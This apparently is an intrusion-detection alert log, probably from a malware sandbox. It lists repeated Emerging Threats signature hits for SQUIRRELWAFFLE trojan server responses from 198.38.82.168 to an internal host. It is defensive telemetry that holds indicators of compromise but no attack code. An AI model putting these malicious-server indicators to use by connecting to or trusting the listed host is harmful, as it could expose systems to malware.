10/04/21-16:01:50.291925	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49838	198.38.82.168	192.168.2.3
10/04/21-16:01:50.291925	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49838	198.38.82.168	192.168.2.3
10/04/21-16:01:50.498512	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49840	198.38.82.168	192.168.2.3
10/04/21-16:01:50.498512	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49840	198.38.82.168	192.168.2.3
10/04/21-16:01:51.189402	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49844	198.38.82.168	192.168.2.3
10/04/21-16:01:51.189402	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49844	198.38.82.168	192.168.2.3
10/04/21-16:01:51.341018	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49846	198.38.82.168	192.168.2.3
10/04/21-16:01:51.341018	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49846	198.38.82.168	192.168.2.3
10/04/21-16:01:51.999374	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49849	198.38.82.168	192.168.2.3
10/04/21-16:01:51.999374	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49849	198.38.82.168	192.168.2.3
10/04/21-16:01:52.200598	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49851	198.38.82.168	192.168.2.3
10/04/21-16:01:52.200598	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49851	198.38.82.168	192.168.2.3
10/04/21-16:01:52.911950	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49855	198.38.82.168	192.168.2.3
10/04/21-16:01:52.911950	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49855	198.38.82.168	192.168.2.3
10/04/21-16:01:53.121409	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49861	198.38.82.168	192.168.2.3
10/04/21-16:01:53.121409	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49861	198.38.82.168	192.168.2.3
10/04/21-16:01:53.746798	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49865	198.38.82.168	192.168.2.3
10/04/21-16:01:53.746798	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49865	198.38.82.168	192.168.2.3
10/04/21-16:01:54.129705	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49868	198.38.82.168	192.168.2.3
10/04/21-16:01:54.129705	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49868	198.38.82.168	192.168.2.3
10/04/21-16:01:54.510213	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49872	198.38.82.168	192.168.2.3
10/04/21-16:01:54.510213	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49872	198.38.82.168	192.168.2.3
10/04/21-16:01:54.946714	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49876	198.38.82.168	192.168.2.3
10/04/21-16:01:54.946714	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49876	198.38.82.168	192.168.2.3
10/04/21-16:01:55.346468	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49878	198.38.82.168	192.168.2.3
10/04/21-16:01:55.346468	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49878	198.38.82.168	192.168.2.3
10/04/21-16:01:55.712451	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49881	198.38.82.168	192.168.2.3
10/04/21-16:01:55.712451	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49881	198.38.82.168	192.168.2.3
10/04/21-16:01:56.105817	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49884	198.38.82.168	192.168.2.3
10/04/21-16:01:56.105817	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49884	198.38.82.168	192.168.2.3
10/04/21-16:01:56.713613	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49887	198.38.82.168	192.168.2.3
10/04/21-16:01:56.713613	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49887	198.38.82.168	192.168.2.3
10/04/21-16:01:56.954807	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49889	198.38.82.168	192.168.2.3
10/04/21-16:01:56.954807	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49889	198.38.82.168	192.168.2.3
10/04/21-16:01:57.608432	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49893	198.38.82.168	192.168.2.3
10/04/21-16:01:57.608432	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49893	198.38.82.168	192.168.2.3
10/04/21-16:01:57.809326	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49895	198.38.82.168	192.168.2.3
10/04/21-16:01:57.809326	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49895	198.38.82.168	192.168.2.3
10/04/21-16:01:58.409146	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49901	198.38.82.168	192.168.2.3
10/04/21-16:01:58.409146	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49901	198.38.82.168	192.168.2.3
10/04/21-16:01:58.569793	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49902	198.38.82.168	192.168.2.3
10/04/21-16:01:58.569793	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49902	198.38.82.168	192.168.2.3
10/04/21-16:01:59.209623	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49903	198.38.82.168	192.168.2.3
10/04/21-16:01:59.209623	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49903	198.38.82.168	192.168.2.3
10/04/21-16:01:59.417594	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49904	198.38.82.168	192.168.2.3
10/04/21-16:01:59.417594	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49904	198.38.82.168	192.168.2.3
10/04/21-16:02:00.148655	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49905	198.38.82.168	192.168.2.3
10/04/21-16:02:00.148655	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49905	198.38.82.168	192.168.2.3
10/04/21-16:02:00.241589	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49906	198.38.82.168	192.168.2.3
10/04/21-16:02:00.241589	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49906	198.38.82.168	192.168.2.3
10/04/21-16:02:01.096790	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49909	198.38.82.168	192.168.2.3
10/04/21-16:02:01.096790	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49909	198.38.82.168	192.168.2.3
10/04/21-16:02:01.142846	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49910	198.38.82.168	192.168.2.3
10/04/21-16:02:01.142846	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49910	198.38.82.168	192.168.2.3
10/04/21-16:02:02.031205	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49912	198.38.82.168	192.168.2.3
10/04/21-16:02:02.031205	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49912	198.38.82.168	192.168.2.3
10/04/21-16:02:02.047791	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49911	198.38.82.168	192.168.2.3
10/04/21-16:02:02.047791	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49911	198.38.82.168	192.168.2.3
10/04/21-16:02:02.795276	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49913	198.38.82.168	192.168.2.3
10/04/21-16:02:02.795276	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49913	198.38.82.168	192.168.2.3
10/04/21-16:02:02.944037	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49914	198.38.82.168	192.168.2.3
10/04/21-16:02:02.944037	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49914	198.38.82.168	192.168.2.3
10/04/21-16:02:03.778135	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49915	198.38.82.168	192.168.2.3
10/04/21-16:02:03.778135	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49915	198.38.82.168	192.168.2.3
10/04/21-16:02:03.938411	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49916	198.38.82.168	192.168.2.3
10/04/21-16:02:03.938411	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49916	198.38.82.168	192.168.2.3
10/04/21-16:02:04.564571	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49917	198.38.82.168	192.168.2.3
10/04/21-16:02:04.564571	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49917	198.38.82.168	192.168.2.3
10/04/21-16:02:04.743336	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49918	198.38.82.168	192.168.2.3
10/04/21-16:02:04.743336	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49918	198.38.82.168	192.168.2.3
10/04/21-16:02:05.364154	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49919	198.38.82.168	192.168.2.3
10/04/21-16:02:05.364154	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49919	198.38.82.168	192.168.2.3
10/04/21-16:02:05.562863	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49920	198.38.82.168	192.168.2.3
10/04/21-16:02:05.562863	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49920	198.38.82.168	192.168.2.3
10/04/21-16:02:06.238650	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49921	198.38.82.168	192.168.2.3
10/04/21-16:02:06.238650	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49921	198.38.82.168	192.168.2.3
10/04/21-16:02:06.461173	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49923	198.38.82.168	192.168.2.3
10/04/21-16:02:06.461173	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49923	198.38.82.168	192.168.2.3
10/04/21-16:02:07.129788	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49927	198.38.82.168	192.168.2.3
10/04/21-16:02:07.129788	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49927	198.38.82.168	192.168.2.3
10/04/21-16:02:07.579660	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49928	198.38.82.168	192.168.2.3
10/04/21-16:02:07.579660	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49928	198.38.82.168	192.168.2.3
10/04/21-16:02:07.978900	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49929	198.38.82.168	192.168.2.3
10/04/21-16:02:07.978900	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49929	198.38.82.168	192.168.2.3
10/04/21-16:02:08.467636	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49930	198.38.82.168	192.168.2.3
10/04/21-16:02:08.467636	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49930	198.38.82.168	192.168.2.3
10/04/21-16:02:08.748954	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49931	198.38.82.168	192.168.2.3
10/04/21-16:02:08.748954	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49931	198.38.82.168	192.168.2.3
10/04/21-16:02:09.243402	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49932	198.38.82.168	192.168.2.3
10/04/21-16:02:09.243402	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49932	198.38.82.168	192.168.2.3
10/04/21-16:02:09.466384	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49933	198.38.82.168	192.168.2.3
10/04/21-16:02:09.466384	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49933	198.38.82.168	192.168.2.3
10/04/21-16:02:10.210729	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49937	198.38.82.168	192.168.2.3
10/04/21-16:02:10.210729	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49937	198.38.82.168	192.168.2.3
10/04/21-16:02:10.278050	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49938	198.38.82.168	192.168.2.3
10/04/21-16:02:10.278050	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49938	198.38.82.168	192.168.2.3
10/04/21-16:02:12.171186	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49945	198.38.82.168	192.168.2.3
10/04/21-16:02:12.171186	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49945	198.38.82.168	192.168.2.3
10/04/21-16:02:12.203601	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49943	198.38.82.168	192.168.2.3
10/04/21-16:02:12.203601	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49943	198.38.82.168	192.168.2.3
10/04/21-16:02:14.037156	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49948	198.38.82.168	192.168.2.3
10/04/21-16:02:14.037156	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49948	198.38.82.168	192.168.2.3
10/04/21-16:02:14.084959	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49949	198.38.82.168	192.168.2.3
10/04/21-16:02:14.084959	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49949	198.38.82.168	192.168.2.3
10/04/21-16:02:14.851908	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49954	198.38.82.168	192.168.2.3
10/04/21-16:02:14.851908	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49954	198.38.82.168	192.168.2.3
10/04/21-16:02:15.106513	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49955	198.38.82.168	192.168.2.3
10/04/21-16:02:15.106513	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49955	198.38.82.168	192.168.2.3
10/04/21-16:02:15.765756	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49959	198.38.82.168	192.168.2.3
10/04/21-16:02:15.765756	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49959	198.38.82.168	192.168.2.3
10/04/21-16:02:16.008814	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49962	198.38.82.168	192.168.2.3
10/04/21-16:02:16.008814	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49962	198.38.82.168	192.168.2.3
10/04/21-16:02:16.629178	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49966	198.38.82.168	192.168.2.3
10/04/21-16:02:16.629178	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49966	198.38.82.168	192.168.2.3
10/04/21-16:02:16.835744	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49968	198.38.82.168	192.168.2.3
10/04/21-16:02:16.835744	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49968	198.38.82.168	192.168.2.3
10/04/21-16:02:17.493744	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49970	198.38.82.168	192.168.2.3
10/04/21-16:02:17.493744	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49970	198.38.82.168	192.168.2.3
10/04/21-16:02:17.591220	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49971	198.38.82.168	192.168.2.3
10/04/21-16:02:17.591220	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49971	198.38.82.168	192.168.2.3
10/04/21-16:02:18.426334	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49973	198.38.82.168	192.168.2.3
10/04/21-16:02:18.426334	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49973	198.38.82.168	192.168.2.3
10/04/21-16:02:18.444650	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49974	198.38.82.168	192.168.2.3
10/04/21-16:02:18.444650	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49974	198.38.82.168	192.168.2.3
10/04/21-16:02:19.250952	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49975	198.38.82.168	192.168.2.3
10/04/21-16:02:19.250952	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49975	198.38.82.168	192.168.2.3
10/04/21-16:02:19.267752	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49976	198.38.82.168	192.168.2.3
10/04/21-16:02:19.267752	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49976	198.38.82.168	192.168.2.3
10/04/21-16:02:20.194574	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49978	198.38.82.168	192.168.2.3
10/04/21-16:02:20.194574	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49978	198.38.82.168	192.168.2.3
10/04/21-16:02:20.197896	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49977	198.38.82.168	192.168.2.3
10/04/21-16:02:20.197896	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49977	198.38.82.168	192.168.2.3
10/04/21-16:02:21.027817	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49979	198.38.82.168	192.168.2.3
10/04/21-16:02:21.027817	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49979	198.38.82.168	192.168.2.3
10/04/21-16:02:21.139926	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49980	198.38.82.168	192.168.2.3
10/04/21-16:02:21.139926	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49980	198.38.82.168	192.168.2.3
10/04/21-16:02:21.787210	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49981	198.38.82.168	192.168.2.3
10/04/21-16:02:21.787210	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49981	198.38.82.168	192.168.2.3
10/04/21-16:02:21.970111	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49982	198.38.82.168	192.168.2.3
10/04/21-16:02:21.970111	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49982	198.38.82.168	192.168.2.3
10/04/21-16:02:22.812892	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49983	198.38.82.168	192.168.2.3
10/04/21-16:02:22.812892	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49983	198.38.82.168	192.168.2.3
10/04/21-16:02:23.154221	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49984	198.38.82.168	192.168.2.3
10/04/21-16:02:23.154221	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49984	198.38.82.168	192.168.2.3
10/04/21-16:02:23.561999	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49985	198.38.82.168	192.168.2.3
10/04/21-16:02:23.561999	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49985	198.38.82.168	192.168.2.3
10/04/21-16:02:24.012473	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49986	198.38.82.168	192.168.2.3
10/04/21-16:02:24.012473	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49986	198.38.82.168	192.168.2.3
10/04/21-16:02:24.885510	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49988	198.38.82.168	192.168.2.3
10/04/21-16:02:24.885510	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49988	198.38.82.168	192.168.2.3
10/04/21-16:02:25.925619	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49989	198.38.82.168	192.168.2.3
10/04/21-16:02:25.925619	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49989	198.38.82.168	192.168.2.3
10/04/21-16:02:26.789442	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49990	198.38.82.168	192.168.2.3
10/04/21-16:02:26.789442	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49990	198.38.82.168	192.168.2.3
10/04/21-16:02:27.326938	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49987	198.38.82.168	192.168.2.3
10/04/21-16:02:27.326938	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49987	198.38.82.168	192.168.2.3
10/04/21-16:02:27.587758	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49991	198.38.82.168	192.168.2.3
10/04/21-16:02:27.587758	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49991	198.38.82.168	192.168.2.3
10/04/21-16:02:28.128440	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49992	198.38.82.168	192.168.2.3
10/04/21-16:02:28.128440	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49992	198.38.82.168	192.168.2.3
10/04/21-16:02:28.489767	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49994	198.38.82.168	192.168.2.3
10/04/21-16:02:28.489767	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49994	198.38.82.168	192.168.2.3
10/04/21-16:02:28.951875	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49995	198.38.82.168	192.168.2.3
10/04/21-16:02:28.951875	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49995	198.38.82.168	192.168.2.3
10/04/21-16:02:29.252466	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49996	198.38.82.168	192.168.2.3
10/04/21-16:02:29.252466	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49996	198.38.82.168	192.168.2.3
10/04/21-16:02:29.891360	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49997	198.38.82.168	192.168.2.3
10/04/21-16:02:29.891360	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49997	198.38.82.168	192.168.2.3
10/04/21-16:02:30.072440	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49998	198.38.82.168	192.168.2.3
10/04/21-16:02:30.072440	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49998	198.38.82.168	192.168.2.3
10/04/21-16:02:30.765002	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	49999	198.38.82.168	192.168.2.3
10/04/21-16:02:30.765002	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	49999	198.38.82.168	192.168.2.3
10/04/21-16:02:31.224365	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50000	198.38.82.168	192.168.2.3
10/04/21-16:02:31.224365	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50000	198.38.82.168	192.168.2.3
10/04/21-16:02:31.612439	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50001	198.38.82.168	192.168.2.3
10/04/21-16:02:31.612439	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50001	198.38.82.168	192.168.2.3
10/04/21-16:02:32.399005	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50003	198.38.82.168	192.168.2.3
10/04/21-16:02:32.399005	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50003	198.38.82.168	192.168.2.3
10/04/21-16:02:33.360032	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50004	198.38.82.168	192.168.2.3
10/04/21-16:02:33.360032	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50004	198.38.82.168	192.168.2.3
10/04/21-16:02:34.127849	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50005	198.38.82.168	192.168.2.3
10/04/21-16:02:34.127849	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50005	198.38.82.168	192.168.2.3
10/04/21-16:02:35.002763	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50006	198.38.82.168	192.168.2.3
10/04/21-16:02:35.002763	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50006	198.38.82.168	192.168.2.3
10/04/21-16:02:35.121513	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50002	198.38.82.168	192.168.2.3
10/04/21-16:02:35.121513	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50002	198.38.82.168	192.168.2.3
10/04/21-16:02:35.916777	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50007	198.38.82.168	192.168.2.3
10/04/21-16:02:35.916777	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50007	198.38.82.168	192.168.2.3
10/04/21-16:02:36.042867	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50008	198.38.82.168	192.168.2.3
10/04/21-16:02:36.042867	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50008	198.38.82.168	192.168.2.3
10/04/21-16:02:36.784570	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50009	198.38.82.168	192.168.2.3
10/04/21-16:02:36.784570	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50009	198.38.82.168	192.168.2.3
10/04/21-16:02:36.869172	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50010	198.38.82.168	192.168.2.3
10/04/21-16:02:36.869172	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50010	198.38.82.168	192.168.2.3
10/04/21-16:02:37.595219	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50011	198.38.82.168	192.168.2.3
10/04/21-16:02:37.595219	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50011	198.38.82.168	192.168.2.3
10/04/21-16:02:37.768908	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50012	198.38.82.168	192.168.2.3
10/04/21-16:02:37.768908	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50012	198.38.82.168	192.168.2.3
10/04/21-16:02:38.462789	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50013	198.38.82.168	192.168.2.3
10/04/21-16:02:38.462789	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50013	198.38.82.168	192.168.2.3
10/04/21-16:02:38.589325	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50014	198.38.82.168	192.168.2.3
10/04/21-16:02:38.589325	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50014	198.38.82.168	192.168.2.3
10/04/21-16:02:39.568080	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50017	198.38.82.168	192.168.2.3
10/04/21-16:02:39.568080	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50017	198.38.82.168	192.168.2.3
10/04/21-16:02:39.702991	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50016	198.38.82.168	192.168.2.3
10/04/21-16:02:39.702991	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50016	198.38.82.168	192.168.2.3
10/04/21-16:02:40.443396	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50018	198.38.82.168	192.168.2.3
10/04/21-16:02:40.443396	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50018	198.38.82.168	192.168.2.3
10/04/21-16:02:40.633592	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50019	198.38.82.168	192.168.2.3
10/04/21-16:02:40.633592	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50019	198.38.82.168	192.168.2.3
10/04/21-16:02:41.564977	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50021	198.38.82.168	192.168.2.3
10/04/21-16:02:41.564977	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50021	198.38.82.168	192.168.2.3
